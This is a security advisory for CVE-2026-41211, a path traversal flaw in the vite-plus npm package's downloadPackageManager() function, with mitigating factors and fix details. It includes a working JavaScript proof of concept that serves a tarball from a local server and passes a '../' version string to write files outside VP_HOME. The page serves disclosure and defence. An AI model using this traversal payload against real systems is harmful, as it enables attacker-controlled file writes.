CVE-2026-41211 — vite-plus
CVE-2026-41211 is a Path Traversal vulnerability in vite-plus. A fix is available for vite-plus — see the affected versions and patch details below.
`vite-plus/binding` has path traversal `downloadPackageManager()` that leads to writes outside of `VP_HOME`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41211.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vite-plusnpmDescription
Summary
downloadPackageManager() in vite-plus/binding accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments to escape the VP_HOME/package_manager/<pm>/ cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.
Details
The public vite-plus/binding export downloadPackageManager() forwards options.version directly into the Rust package-manager download flow without validating that it is a normal semver version.
That value is used as a path component when building the install location under VP_HOME. After the package is downloaded and extracted, Vite+:
- computes the final target directory from the raw
versionstring, - removes any pre-existing directory at that target,
- renames the extracted package into that location, and
- writes executable shim files there.
Because the CLI validates versions via semver::Version::parse() before calling this code, the protection that exists for normal vp create, vp migrate, and vp env flows does not apply to direct callers of the binding. A programmatic caller of vite-plus/binding can pass traversal strings such as ../../../escaped and break out of VP_HOME.
PoC
import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";
const tgz = Buffer.from(
"H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=",
"base64",
);
const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");
process.env.VP_HOME = vpHome;
const server = http.createServer((req, res) => {
res.writeHead(200, { "content-type": "application/octet-stream" });
res.end(tgz);
});
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;
const result = await downloadPackageManager({
name: "pnpm",
version,
});
server.close();
console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")));
// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created
Impact
A caller that can influence downloadPackageManager() input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside VP_HOME. When combined with the supported custom-registry override (npm_config_registry), this becomes attacker-controlled file write outside the intended install root.
Mitigating factors
- Normal CLI usage is not affected. All built-in CLI paths (
vp create,vp migrate,vp env) validate the version string viasemver::Version::parse()before it reachesdownloadPackageManager(). - The vulnerability is only reachable by programmatic callers that import
vite-plus/bindingdirectly and pass an untrusted version string. - No known downstream consumers pass untrusted input to this function.
- Exploitation requires the attacker to already be executing code in the same Node.js process.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vite-plus | all versions | 0.1.17npm install vite-plus@0.1.17 |
Affected Products
vite\+voidzeroDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vite-plus, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vite-plus to 0.1.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41211 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-41211 in your dependencies?
Find it across npm, including transitive dependencies.